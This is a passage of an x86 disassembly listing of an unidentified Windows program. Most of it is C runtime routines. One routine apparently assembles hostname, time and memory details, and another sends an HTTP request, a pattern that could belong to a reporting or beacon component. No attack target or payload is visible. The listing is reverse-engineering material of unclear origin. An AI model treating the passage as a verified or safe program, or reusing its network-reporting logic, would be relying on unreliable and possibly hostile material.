mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41AB7E
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41AB7E: ; CODE XREF: sub_41AA43+12Cj
push [ebp+arg_4]
call sub_40AC10
pop ecx
push eax
call dword_4CB694
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB60C
cmp eax, ebx
jz short loc_41ABA7
push dword ptr [eax]
jmp short loc_41ABAC
; ---------------------------------------------------------------------------
loc_41ABA7: ; CODE XREF: sub_41AA43+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41ABAC: ; CODE XREF: sub_41AA43+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call near ptr 2670A78h
nop
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43A7FC
push ebx
mov esi, 409h
push ebx
push esi
call near ptr 2730000h
nop
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call near ptr 2721327h
nop
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call near ptr 2830000h
nop
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41B9D1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416A33
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41A88C
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416923
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416923
pop ecx
pop ecx
push eax
call sub_41A98D
push edx
push eax
push offset dword_43A720
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AA43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACF7 proc near ; CODE XREF: sub_401ACD+279Dp
; sub_401ACD+72F6p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp dword_4CB73C, 0
jnz short loc_41AD63
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB518
test eax, eax
jnz short loc_41AD4C
lea eax, [ebp+var_8C]
push offset dword_43A87C
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AD4C: ; CODE XREF: sub_41ACF7+40j
test [ebp+var_C], 1
jz short loc_41AD59
push offset dword_43A874
jmp short loc_41AD5E
; ---------------------------------------------------------------------------
loc_41AD59: ; CODE XREF: sub_41ACF7+59j
push offset off_43A870
loc_41AD5E: ; CODE XREF: sub_41ACF7+60j
lea eax, [ebp+var_8]
jmp short loc_41AD7B
; ---------------------------------------------------------------------------
loc_41AD63: ; CODE XREF: sub_41ACF7+28j
mov esi, offset off_43A86C
lea eax, [ebp+var_8]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41AD7B: ; CODE XREF: sub_41ACF7+6Aj
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43A828
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41ACF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADB6 proc near ; DATA XREF: sub_401ACD+7715o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43A95C
call sub_41B590
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41B590
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41B590
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41B590
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41B590
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CB550
test eax, eax
jz loc_41AF50
cmp [ebp+var_34], ebx
jbe short loc_41AE8D
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AE8D: ; CODE XREF: sub_41ADB6+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41AEAB
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEAB: ; CODE XREF: sub_41ADB6+DEj
cmp [ebp+var_20], ebx
jbe short loc_41AEC5
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEC5: ; CODE XREF: sub_41ADB6+F8j
cmp [ebp+var_18], ebx
jbe short loc_41AEDF
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEDF: ; CODE XREF: sub_41ADB6+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CB604
call dword_4CB628
mov esi, eax
cmp esi, ebx
jz short loc_41AF68
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB61C
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41AF6F
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB5C8
test eax, eax
jz short loc_41AF49
push offset dword_43A940
jmp short loc_41AF74
; ---------------------------------------------------------------------------
loc_41AF49: ; CODE XREF: sub_41ADB6+18Aj
push offset unk_43A904
jmp short loc_41AF74
; ---------------------------------------------------------------------------
loc_41AF50: ; CODE XREF: sub_41ADB6+B7j
lea eax, [ebp+var_55C]
push offset dword_43A8E8
push eax
call sub_41B886
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41AF82
; ---------------------------------------------------------------------------
loc_41AF68: ; CODE XREF: sub_41ADB6+153j
push offset unk_43A8BC
jmp short loc_41AF74
; ---------------------------------------------------------------------------
loc_41AF6F: ; CODE XREF: sub_41ADB6+17Bj
push offset unk_43A88C
loc_41AF74: ; CODE XREF: sub_41ADB6+191j
; sub_41ADB6+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AF82: ; CODE XREF: sub_41ADB6+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41AFAD
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409A73
add esp, 14h
loc_41AFAD: ; CODE XREF: sub_41ADB6+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_4151AD
pop ecx
push esi
call dword_4CB688
push [ebp+var_4]
call dword_4CB688
push [ebp+var_1D8]
call sub_40B413
pop ecx
push ebx
nop
call near ptr 26E0000h
pop edi
pop esi
pop ebx
sub_41ADB6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B000
loc_41AFEC: ; CODE XREF: sub_41AFE0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B033
test ecx, 3
jnz short loc_41AFEC
add eax, 0
loc_41B000: ; CODE XREF: sub_41AFE0+Aj
; sub_41AFE0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B000
mov eax, [ecx-4]
test al, al
jz short loc_41B051
test ah, ah
jz short loc_41B047
test eax, 0FF0000h
jz short loc_41B03D
test eax, 0FF000000h
jz short loc_41B033
jmp short loc_41B000
; ---------------------------------------------------------------------------
loc_41B033: ; CODE XREF: sub_41AFE0+11j
; sub_41AFE0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B03D: ; CODE XREF: sub_41AFE0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B047: ; CODE XREF: sub_41AFE0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B051: ; CODE XREF: sub_41AFE0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41AFE0 endp
; =============== S U B R O U T I N E =======================================
sub_41B05B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+58DBp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B070
or eax, 0FFFFFFFFh
jmp short loc_41B0AA
; ---------------------------------------------------------------------------
loc_41B070: ; CODE XREF: sub_41B05B+Ej
test al, 83h
jz short loc_41B0A8
push esi
call sub_41DB8B
push esi
mov edi, eax
call sub_41DB25
push dword ptr [esi+10h]
call sub_41DA72
add esp, 0Ch
test eax, eax
jge short loc_41B096
or edi, 0FFFFFFFFh
jmp short loc_41B0A8
; ---------------------------------------------------------------------------
loc_41B096: ; CODE XREF: sub_41B05B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B0A8
push eax
call sub_41B0B1
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B0A8: ; CODE XREF: sub_41B05B+17j
; sub_41B05B+39j ...
mov eax, edi
loc_41B0AA: ; CODE XREF: sub_41B05B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B05B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40AB32+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B117
mov eax, dword_4DCFE8
cmp eax, 3
jnz short loc_41B0DD
push esi
call sub_41DE77
pop ecx
test eax, eax
push esi
jz short loc_41B109
push eax
call sub_41DEA2
pop ecx
pop ecx
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B0DD: ; CODE XREF: sub_41B0B1+14j
cmp eax, 2
jnz short loc_41B108
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_41B108
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41EC29
add esp, 0Ch
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B108: ; CODE XREF: sub_41B0B1+2Fj
; sub_41B0B1+44j
push esi
loc_41B109: ; CODE XREF: sub_41B0B1+20j
push 0
push dword_4DCFE4
call near ptr 2790000h
nop
loc_41B117: ; CODE XREF: sub_41B0B1+Aj
; sub_41B0B1+2Aj ...
pop esi
leave
retn
sub_41B0B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B11A proc near ; CODE XREF: sub_4010AB+45p
; ___:0040F08Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B13E
xor eax, eax
jmp loc_41B1E7
; ---------------------------------------------------------------------------
loc_41B13E: ; CODE XREF: sub_41B11A+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B151
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B151: ; CODE XREF: sub_41B11A+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B15A: ; CODE XREF: sub_41B11A+C4j
mov ecx, [ebp+arg_0]
loc_41B15D: ; CODE XREF: sub_41B11A+35j
; sub_41B11A+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41B18F
mov eax, [esi+4]
test eax, eax
jz short loc_41B18F
cmp ecx, eax
mov edi, ecx
jb short loc_41B174
mov edi, eax
loc_41B174: ; CODE XREF: sub_41B11A+56j
push edi
push dword ptr [esi]
push ebx
call sub_41C310
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B18F: ; CODE XREF: sub_41B11A+49j
; sub_41B11A+50j
cmp ecx, [ebp+arg_C]
jb short loc_41B1C2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41B1A5
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41B1A5: ; CODE XREF: sub_41B11A+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
test eax, eax
jz short loc_41B1EC
cmp eax, 0FFFFFFFFh
jz short loc_41B1F2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B1C2: ; CODE XREF: sub_41B11A+78j
push esi
call sub_41F043
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B1F6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41B1DA: ; CODE XREF: sub_41B11A+73j
; sub_41B11A+A6j
cmp [ebp+arg_0], 0
jnz loc_41B15A
mov eax, [ebp+arg_8]
loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj
; sub_41B11A+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41B1F6
; ---------------------------------------------------------------------------
loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj
or dword ptr [esi+0Ch], 20h
loc_41B1F6: ; CODE XREF: sub_41B11A+B2j
; sub_41B11A+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41B1E7
sub_41B11A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41CFD3+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41B21D
push [ebp+arg_4]
call sub_41B4D5
pop ecx
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B21D: ; CODE XREF: sub_41B202+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41B232
push [ebp+arg_0]
call sub_41B0B1
pop ecx
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B232: ; CODE XREF: sub_41B202+20j
mov eax, dword_4DCFE8
cmp eax, 3
jnz loc_41B342
loc_41B240: ; CODE XREF: sub_41B202+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B31E
push [ebp+arg_0]
call sub_41DE77
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41B2F9
cmp esi, dword_4DCFE0
ja short loc_41B2B2
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41E680
add esp, 0Ch
test eax, eax
jnz short loc_41B2AE
push esi
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B2B2
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41B292
mov eax, esi
loc_41B292: ; CODE XREF: sub_41B202+8Cj
push eax
push ebx
push edi
call sub_41C310
push ebx
call sub_41DE77
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41DEA2
add esp, 18h
loc_41B2AE: ; CODE XREF: sub_41B202+74j
test edi, edi
jnz short loc_41B2F5
loc_41B2B2: ; CODE XREF: sub_41B202+62j
; sub_41B202+81j
test esi, esi
jnz short loc_41B2B9
push 1
pop esi
loc_41B2B9: ; CODE XREF: sub_41B202+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DCFE4
nop
call near ptr 27A0000h
mov edi, eax
test edi, edi
jz short loc_41B2F5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41B2E1
mov eax, esi
loc_41B2E1: ; CODE XREF: sub_41B202+DBj
push eax
push ecx
push edi
call sub_41C310
push [ebp+arg_0]
push ebx
call sub_41DEA2
add esp, 14h
loc_41B2F5: ; CODE XREF: sub_41B202+AEj
; sub_41B202+D0j
test ebx, ebx
jnz short loc_41B31A
loc_41B2F9: ; CODE XREF: sub_41B202+56j
test esi, esi
jnz short loc_41B300
push 1
pop esi
loc_41B300: ; CODE XREF: sub_41B202+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DCFE4
call near ptr 2840000h
nop
mov edi, eax
loc_41B31A: ; CODE XREF: sub_41B202+F5j
test edi, edi
jnz short loc_41B33B
loc_41B31E: ; CODE XREF: sub_41B202+43j
cmp dword_4DB9DC, 0
jz short loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B240
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B33B: ; CODE XREF: sub_41B202+11Aj
; sub_41B202+123j ...
mov eax, edi
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B342: ; CODE XREF: sub_41B202+38j
cmp eax, 2
jnz loc_41B45D
cmp esi, 0FFFFFFE0h
ja short loc_41B35F
test esi, esi
jbe short loc_41B35C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41B35F
; ---------------------------------------------------------------------------
loc_41B35C: ; CODE XREF: sub_41B202+150j
push 10h
pop esi
loc_41B35F: ; CODE XREF: sub_41B202+14Cj
; sub_41B202+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B43F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41EBD2
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41B423
cmp esi, dword_43C9D4
jnb short loc_41B3E7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EF9A
add esp, 10h
test eax, eax
jz short loc_41B3AD
mov edi, [ebp+arg_0]
jmp short loc_41B3DF
; ---------------------------------------------------------------------------
loc_41B3AD: ; CODE XREF: sub_41B202+1A4j
push edi
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B3E7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B3C6
mov eax, esi
loc_41B3C6: ; CODE XREF: sub_41B202+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
loc_41B3DF: ; CODE XREF: sub_41B202+1A9j
test edi, edi
jnz loc_41B33B
loc_41B3E7: ; CODE XREF: sub_41B202+18Bj
; sub_41B202+1B6j
push esi
push 0
push dword_4DCFE4
nop
call near ptr 27A0000h
mov edi, eax
test edi, edi
jz short loc_41B43F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B408
mov eax, esi
loc_41B408: ; CODE XREF: sub_41B202+202j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
jmp short loc_41B437
; ---------------------------------------------------------------------------
loc_41B423: ; CODE XREF: sub_41B202+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DCFE4
call near ptr 2840000h
nop
mov edi, eax
loc_41B437: ; CODE XREF: sub_41B202+21Fj
test edi, edi
jnz loc_41B33B
loc_41B43F: ; CODE XREF: sub_41B202+162j
; sub_41B202+1F8j
cmp dword_4DB9DC, 0
jz loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B35F
jmp short loc_41B49B
; ---------------------------------------------------------------------------
loc_41B45D: ; CODE XREF: sub_41B202+143j
; sub_41B202+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41B487
test esi, esi
jnz short loc_41B46B
push 1
pop esi
loc_41B46B: ; CODE XREF: sub_41B202+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DCFE4
nop
call near ptr 2840000h
test eax, eax
jnz short loc_41B49D
loc_41B487: ; CODE XREF: sub_41B202+260j
cmp dword_4DB9DC, 0
jz short loc_41B49D
push esi
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B45D
loc_41B49B: ; CODE XREF: sub_41B202+2Bj
; sub_41B202+134j ...
xor eax, eax
loc_41B49D: ; CODE XREF: sub_41B202+16j
; sub_41B202+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B202 endp
; =============== S U B R O U T I N E =======================================
sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41F49D
test eax, eax
jnz short loc_41B4AC
retn
; ---------------------------------------------------------------------------
loc_41B4AC: ; CODE XREF: sub_41B4A2+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F32D
add esp, 10h
retn
sub_41B4A2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+58AFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41B4A2
add esp, 0Ch
retn
sub_41B4C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40AB32+63p ...
arg_0 = dword ptr 4
push dword_4DB9DC
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41B4D5 endp
; =============== S U B R O U T I N E =======================================
sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap
; sub_41CFC5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41B510
loc_41B4EE: ; CODE XREF: sub_41B4E7+27j
push [esp+arg_0]
call sub_41B513
test eax, eax
pop ecx
jnz short locret_41B512
cmp [esp+arg_4], eax
jz short locret_41B512
push [esp+arg_0]
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B4EE
loc_41B510: ; CODE XREF: sub_41B4E7+5j
xor eax, eax
locret_41B512: ; CODE XREF: sub_41B4E7+13j
; sub_41B4E7+19j
retn
sub_41B4E7 endp
; =============== S U B R O U T I N E =======================================
sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DCFE8
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41B537
cmp esi, dword_4DCFE0
ja short loc_41B569
push esi
call sub_41E1CB
test eax, eax
pop ecx
jz short loc_41B569
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B537: ; CODE XREF: sub_41B513+Dj
cmp eax, 2
jnz short loc_41B569
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41B54C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41B54F
; ---------------------------------------------------------------------------
loc_41B54C: ; CODE XREF: sub_41B513+2Fj
push 10h
pop esi
loc_41B54F: ; CODE XREF: sub_41B513+37j
cmp esi, dword_43C9D4
ja short loc_41B576
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
test eax, eax
pop ecx
jnz short loc_41B585
jmp short loc_41B576
; ---------------------------------------------------------------------------
loc_41B569: ; CODE XREF: sub_41B513+15j
; sub_41B513+20j ...
test esi, esi
jnz short loc_41B570
push 1
pop esi
loc_41B570: ; CODE XREF: sub_41B513+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41B576: ; CODE XREF: sub_41B513+42j
; sub_41B513+54j
push esi
push 0
push dword_4DCFE4
nop
call near ptr 27A0000h
loc_41B585: ; CODE XREF: sub_41B513+52j
pop esi
retn
sub_41B513 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41B5E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41B5D7
neg ecx
and ecx, 3
jz short loc_41B5B9
sub edx, ecx
loc_41B5B3: ; CODE XREF: sub_41B590+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41B5B3
loc_41B5B9: ; CODE XREF: sub_41B590+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41B5D7
rep stosd
test edx, edx
jz short loc_41B5DD
loc_41B5D7: ; CODE XREF: sub_41B590+18j
; sub_41B590+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41B5D7
loc_41B5DD: ; CODE XREF: sub_41B590+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B5E3: ; CODE XREF: sub_41B590+Aj
mov eax, [esp+arg_0]
retn
sub_41B590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B5F0 proc near ; CODE XREF: ___:004016C0p
; ___:004016DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41B673
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41B614
shr ecx, 2
jnz short loc_41B681
jmp short loc_41B635
; ---------------------------------------------------------------------------
loc_41B614: ; CODE XREF: sub_41B5F0+1Bj
; sub_41B5F0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41B642
test al, al
jz short loc_41B64A
test esi, 3
jnz short loc_41B614
mov ebx, ecx
shr ecx, 2
jnz short loc_41B681
loc_41B630: ; CODE XREF: sub_41B5F0+8Fj
and ebx, 3
jz short loc_41B642
loc_41B635: ; CODE XREF: sub_41B5F0+22j
